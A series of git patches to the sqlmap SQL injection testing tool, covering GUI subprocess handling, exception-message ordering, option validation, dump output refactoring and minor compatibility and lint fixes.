(http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os import re import socket import subprocess import sys +import tempfile import threading import webbrowser from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapMissingDependence from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import IS_WIN from lib.core.settings import ISSUES_PAGE from lib.core.settings import GIT_PAGE from lib.core.settings import SITE @@ -110,48 +116,19 @@ def runGui(parser): line = "" event.widget.master.master.destroy() return "break" + except: + return event.widget.insert(tkinter.END, "\n") - counter = 0 - while True: - line = "" - try: - #line = queue.get_nowait() - line = queue.get(timeout=.1) - event.widget.insert(tkinter.END, line) - counter = 0 - except _queue.Empty: - event.widget.see(tkinter.END) - event.widget.update_idletasks() - if counter > 3: - break - else: - counter += 1 - return "break" def run(): + global alive global process global queue - ON_POSIX = "posix" in sys.builtin_module_names - - def enqueue(stream, queue): - for line in iter(stream.readline, b''): - queue.put(line) - stream.close() - - process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX) - - # Reference: https://stackoverflow.com/a/4896288 - queue = _queue.Queue() - thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) - thread.daemon = True - thread.start() - - - options = {} + config = {} for key in window._widgets: dest, type = key @@ -168,12 +145,34 @@ def runGui(parser): else: value = bool(widget.var.get()) - options[dest] = value + config[dest] = value for option in parser.option_list: - options[option.dest] = defaults.get(option.dest, None) + config[option.dest] = defaults.get(option.dest, None) - parser._args = options + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + def enqueue(stream, queue): + global alive + + for line in iter(stream.readline, b''): + queue.put(line) + + alive = False + stream.close() + + alive = True + + process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) + + # Reference: https://stackoverflow.com/a/4896288 + queue = _queue.Queue() + thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) + thread.daemon = True + thread.start() top = tkinter.Toplevel() top.title("Console") @@ -187,6 +186,16 @@ def runGui(parser): center(top) + while alive: + line = "" + try: + #line = queue.get_nowait() + line = queue.get(timeout=.1) + text.insert(tkinter.END, line) + except _queue.Empty: + text.see(tkinter.END) + text.update_idletasks() + menubar = tkinter.Menu(window) filemenu = tkinter.Menu(menubar, tearoff=0) @@ -262,4 +271,4 @@ def runGui(parser): first.focus() - window.mainloop() \ No newline at end of file + window.mainloop() diff --git a/lib/core/settings.py b/lib/core/settings.py index 9544dc4cc..79d38ad4a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.0" +VERSION = "1.3.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c1a6cac4e..85aef4650 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -78,6 +78,7 @@ from lib.core.defaults import defaults from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException +from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS @@ -863,10 +864,10 @@ def cmdLineParser(argv=None): if "--gui" in argv: from lib.core.gui import runGui + runGui(parser) - if hasattr(parser, "_args"): - return parser._args + raise SqlmapSilentQuitException elif "--sqlmap-shell" in argv: _createHomeDirectories() From c3a6b71023c03b4b40072cc3221eb051345e7060 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 13:50:16 +0100 Subject: [PATCH 024/159] Fixes #4025 --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index bc7e8572e..a7c7cbd20 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2466,6 +2466,10 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.cookieDel and len(conf.cookieDel): + errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" + raise SqlmapSyntaxException(errMsg) + if conf.crawlExclude: try: re.compile(conf.crawlExclude) From 568ee4669ec14e1fb30b0645102d010429d70772 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 13:56:46 +0100 Subject: [PATCH 025/159] Minor patch (gui) --- sqlmap.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sqlmap.py b/sqlmap.py index e50f57456..0b086b90c 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -385,6 +385,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): + errMsg = "there has been a problem in initialization of GUI interface " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") From f4bfa7a5ae57f673e19f4c9c7eaf26b25e8e8073 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 22:20:00 +0100 Subject: [PATCH 026/159] Minor patch --- lib/core/testing.py | 2 +- sqlmap.py | 92 ++++++++++++++++++++++----------------------- 2 files changed, 47 insertions(+), 47 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index db1c8712a..200be1bd9 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -208,7 +208,7 @@ def smokeTest(): continue for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') diff --git a/sqlmap.py b/sqlmap.py index 0b086b90c..cfb9ddac3 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -255,32 +255,7 @@ def main(): excMsg = traceback.format_exc() valid = checkIntegrity() - if valid is False: - errMsg = "code integrity check failed (turning off automatic issue creation). " - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.critical(errMsg) - print() - dataToStdout(excMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("tamper/", "waf/")): - logger.critical(errMsg) - print() - dataToStdout(excMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): - errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() - logger.critical(errMsg) - raise SystemExit - - elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): - errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() - logger.critical(errMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): + if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) raise SystemExit @@ -300,13 +275,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("No such file", "_'")): - errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.critical(errMsg) - raise SystemExit - elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.critical(errMsg) @@ -373,13 +341,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): - errMsg = "there has been a problem in enumeration. " - errMsg += "Because of a considerable chance of false-positive case " - errMsg += "you are advised to rerun with switch '--flush-session'" - logger.critical(errMsg) - raise SystemExit - elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" logger.critical(errMsg) @@ -391,6 +352,51 @@ def main(): logger.critical(errMsg) raise SystemExit + elif kb.get("dumpKeyboardInterrupt"): + raise SystemExit + + elif any(_ in excMsg for _ in ("Broken pipe",)): + raise SystemExit + + elif valid is False: + errMsg = "code integrity check failed (turning off automatic issue creation). " + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("tamper/", "waf/")): + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "_'")): + errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + raise SystemExit + + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): + errMsg = "there has been a problem in enumeration. " + errMsg += "Because of a considerable chance of false-positive case " + errMsg += "you are advised to rerun with switch '--flush-session'" + logger.critical(errMsg) + raise SystemExit + elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") @@ -398,12 +404,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif kb.get("dumpKeyboardInterrupt"): - raise SystemExit - - elif any(_ in excMsg for _ in ("Broken pipe",)): - raise SystemExit - for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) try: From 424d4ee9689975a60730349d3ac25dfc143e5b7d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 22:45:57 +0100 Subject: [PATCH 027/159] Minor compatibility update --- lib/core/gui.py | 64 ++++++++++++++++++++++++------------------------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index 66ad80744..6bf7d9587 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -27,7 +27,6 @@ from lib.core.settings import GIT_PAGE from lib.core.settings import SITE from lib.core.settings import VERSION_STRING from lib.core.settings import WIKI_PAGE -from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox from thirdparty.six.moves import queue as _queue line = "" @@ -36,19 +35,20 @@ queue = None def runGui(parser): try: - import tkinter - import tkinter.scrolledtext - import tkinter.ttk + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext + from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk + from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x - class ConstrainedEntry(tkinter.Entry): + class ConstrainedEntry(_tkinter.Entry): def __init__(self, master=None, **kwargs): - self.var = tkinter.StringVar() + self.var = _tkinter.StringVar() self.regex = kwargs["regex"] del kwargs["regex"] - tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) + _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) self.old_value = '' self.var.trace('w', self.check) self.get, self.set = self.var.get, self.var.set @@ -60,9 +60,9 @@ def runGui(parser): self.set(self.old_value) # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ - class AutoresizableNotebook(tkinter.ttk.Notebook): + class AutoresizableNotebook(_tkinter_ttk.Notebook): def __init__(self, master=None, **kw): - tkinter.ttk.Notebook.__init__(self, master, **kw) + _tkinter_ttk.Notebook.__init__(self, master, **kw) self.bind("<>", self._on_tab_changed) def _on_tab_changed(self,event): @@ -71,11 +71,11 @@ def runGui(parser): tab = event.widget.nametowidget(event.widget.select()) event.widget.configure(height=tab.winfo_reqheight()) - window = tkinter.Tk() + window = _tkinter.Tk() window.title(VERSION_STRING) # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook - style = tkinter.ttk.Style() + style = _tkinter_ttk.Style() settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") @@ -119,7 +119,7 @@ def runGui(parser): except: return - event.widget.insert(tkinter.END, "\n") + event.widget.insert(_tkinter.END, "\n") return "break" @@ -174,11 +174,11 @@ def runGui(parser): thread.daemon = True thread.start() - top = tkinter.Toplevel() + top = _tkinter.Toplevel() top.title("Console") # Reference: https://stackoverflow.com/a/13833338 - text = tkinter.scrolledtext.ScrolledText(top, undo=True) + text = _tkinter_scrolledtext.ScrolledText(top, undo=True) text.bind("", onKeyPress) text.bind("", onReturnPress) text.pack() @@ -191,23 +191,23 @@ def runGui(parser): try: #line = queue.get_nowait() line = queue.get(timeout=.1) - text.insert(tkinter.END, line) + text.insert(_tkinter.END, line) except _queue.Empty: - text.see(tkinter.END) + text.see(_tkinter.END) text.update_idletasks() - menubar = tkinter.Menu(window) + menubar = _tkinter.Menu(window) - filemenu = tkinter.Menu(menubar, tearoff=0) - filemenu.add_command(label="Open", state=tkinter.DISABLED) - filemenu.add_command(label="Save", state=tkinter.DISABLED) + filemenu = _tkinter.Menu(menubar, tearoff=0) + filemenu.add_command(label="Open", state=_tkinter.DISABLED) + filemenu.add_command(label="Save", state=_tkinter.DISABLED) filemenu.add_separator() filemenu.add_command(label="Exit", command=window.quit) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=run) - helpmenu = tkinter.Menu(menubar, tearoff=0) + helpmenu = _tkinter.Menu(menubar, tearoff=0) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) @@ -225,33 +225,33 @@ def runGui(parser): frames = {} for group in parser.option_groups: - frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200) + frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200) notebook.add(frames[group.title], text=group.title) - tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W) + _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W) row = 1 if group.get_description(): - tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W) - tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W) + _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W) + _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) row += 2 for option in group.option_list: - tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W) + _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) if option.type == "string": - widget = tkinter.Entry(frame) + widget = _tkinter.Entry(frame) elif option.type == "float": widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z") elif option.type == "int": widget = ConstrainedEntry(frame, regex=r"\A\d*\Z") else: - var = tkinter.IntVar() - widget = tkinter.Checkbutton(frame, variable=var) + var = _tkinter.IntVar() + widget = _tkinter.Checkbutton(frame, variable=var) widget.var = var first = first or widget - widget.grid(column=1, row=row, sticky=tkinter.W) + widget.grid(column=1, row=row, sticky=_tkinter.W) window._widgets[(option.dest, option.type)] = widget @@ -260,11 +260,11 @@ def runGui(parser): if hasattr(widget, "insert"): widget.insert(0, default) - tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W) + _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W) row += 1 - tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W) + _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W) notebook.pack(expand=1, fill="both") notebook.enable_traversal() From ea0ec868e9196a113a7f71382e0d2491b8cca79b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 15:15:39 +0100 Subject: [PATCH 028/159] Fixes #4029 --- lib/controller/controller.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3f122f5f9..a9bd38e28 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -456,18 +456,18 @@ def start(): for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 - skip = (place == PLACE.USER_AGENT and conf.level < 3) - skip |= (place == PLACE.REFERER and conf.level < 3) + skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3)) + skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3)) # --param-filter skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 - skip |= (place == PLACE.HOST and conf.level < 5) + skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5)) # Test Cookie header only if --level >= 2 - skip |= (place == PLACE.COOKIE and conf.level < 2) + skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2)) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) From 82e6bc64c23c40c4178e0e6b2026abedf082bdbc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 15:20:09 +0100 Subject: [PATCH 029/159] Fixes #4026 --- lib/core/option.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index a7c7cbd20..7e6cac63d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2477,6 +2477,13 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.scope: + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) From 292bdf44795a151192c6fa13cb34356254a108b9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 16:02:25 +0100 Subject: [PATCH 030/159] Fixes #4028 --- lib/core/dump.py | 17 ++++------------- 1 file changed, 4 insertions(+), 13 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 69ccd29a3..d5655aaba 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -70,13 +70,12 @@ class Dump(object): self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): - if conf.api: - dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) - return - text = "%s%s" % (data, "\n" if newline else " ") - if console: + if conf.api: + dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) + + elif console: dataToStdout(text) multiThreadMode = isMultiThreadMode() @@ -118,7 +117,6 @@ class Dump(object): def string(self, header, data, content_type=None, sort=True): if conf.api: self._write(data, content_type=content_type) - return if isListLike(data): self.lister(header, data, content_type, sort) @@ -150,7 +148,6 @@ class Dump(object): if conf.api: self._write(elements, content_type=content_type) - return if elements: self._write("%s [%d]:" % (header, len(elements))) @@ -202,7 +199,6 @@ class Dump(object): if conf.api: self._write(userSettings, content_type=content_type) - return if userSettings: self._write("%s:" % header) @@ -236,7 +232,6 @@ class Dump(object): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) - return maxlength = 0 @@ -279,7 +274,6 @@ class Dump(object): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if conf.api: self._write(tableColumns, content_type=content_type) - return for db, tables in tableColumns.items(): if not db: @@ -353,7 +347,6 @@ class Dump(object): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) - return maxlength1 = len("Table") maxlength2 = len("Entries") @@ -412,7 +405,6 @@ class Dump(object): if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) - return dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) @@ -668,7 +660,6 @@ class Dump(object): def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) - return for column in dbColumnsDict.keys(): if colConsider == "1": From 0c8f6156d2780fca95b2d046752a088d573da814 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 16:03:51 +0100 Subject: [PATCH 031/159] Trivial update --- lib/core/dump.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index d5655aaba..9fd4c8fcf 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -5,7 +5,6 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import cgi import hashlib import os import re From 5d32ca638b1e7e29d18609d28a096247b1eb10b9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 16:11:22 +0100 Subject: [PATCH 032/159] Minor update --- sqlmapapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmapapi.py b/sqlmapapi.py index 28da90369..5eabbdded 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -16,7 +16,7 @@ import optparse import os import warnings -warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) +warnings.filterwarnings(action="ignore", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) from lib.core.common import getUnicode From e8535081921246917e6b173bf836aa737700faf8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2019 11:31:07 +0100 Subject: [PATCH 033/159] Update for #4030 --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 5b0a1e21c..bc96632d7 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -247,7 +247,7 @@ class Agent(object): # If we are replacing () the parameter original value with # our payload do not prepend with the prefix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030 query = "" # If the technique is stacked queries () do not put a space From 7b5a640d1f24900825d80a2a8189f128cad1f0eb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2019 11:35:22 +0100 Subject: [PATCH 034/159] Minor update --- extra/shutils/pyflakes.sh | 2 +- lib/core/convert.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index e4ea94d74..cbdbe80c9 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -4,4 +4,4 @@ # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'" +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" diff --git a/lib/core/convert.py b/lib/core/convert.py index 9551a5e43..d5d24b3ed 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -19,6 +19,7 @@ import re import sys from lib.core.bigarray import BigArray +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA From 38d5086b88a90597e31aac5fad992c21cb0c464d Mon Sep 17 00:00:00 2001 From: "Gabriel M. Dutra" Date: Mon, 9 Dec 2019 17:49:11 -0300 Subject: [PATCH 035/159] Added implicit verification (#4032) --- sqlmapapi.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sqlmapapi.py b/sqlmapapi.py index 5eabbdded..9c903b81d 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -63,9 +63,9 @@ def main(): (args, _) = apiparser.parse_args() # Start the client or the server - if args.server is True: + if args.server: server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) - elif args.client is True: + elif args.client: client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() From 1a95cea1f23aeeb2a396752e11e22f65b98aa292 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2019 22:13:52 +0100 Subject: [PATCH 036/159] Trivial updates --- lib/core/gui.py | 6 +++--- lib/core/profiling.py | 4 ++-- lib/core/update.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- thirdparty/keepalive/keepalive.py | 4 +++- 6 files changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index 6bf7d9587..3143b892f 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -65,7 +65,7 @@ def runGui(parser): _tkinter_ttk.Notebook.__init__(self, master, **kw) self.bind("<>", self._on_tab_changed) - def _on_tab_changed(self,event): + def _on_tab_changed(self, event): event.widget.update_idletasks() tab = event.widget.nametowidget(event.widget.select()) @@ -76,7 +76,7 @@ def runGui(parser): # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook style = _tkinter_ttk.Style() - settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} + settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") @@ -189,7 +189,7 @@ def runGui(parser): while alive: line = "" try: - #line = queue.get_nowait() + # line = queue.get_nowait() line = queue.get(timeout=.1) text.insert(_tkinter.END, line) except _queue.Empty: diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 0fe0836d6..2282d9448 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): import pydot except ImportError as ex: errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex) - errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" + errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')" logger.error(errMsg) return @@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): pydotGraph.write_png(imageOutputFile) except OSError: errMsg = "profiling requires graphviz installed " - errMsg += "(Hint: 'sudo apt-get install graphviz')" + errMsg += "(Hint: 'sudo apt install graphviz')" logger.error(errMsg) else: infoMsg = "displaying interactive graph with xdot library" diff --git a/lib/core/update.py b/lib/core/update.py index 9cd588263..4314575ff 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -136,6 +136,6 @@ def update(): infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's recommended " - infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" + infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')" logger.info(infoMsg) diff --git a/lib/utils/api.py b/lib/utils/api.py index 84d2327e1..468c09c03 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -705,7 +705,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST errMsg += 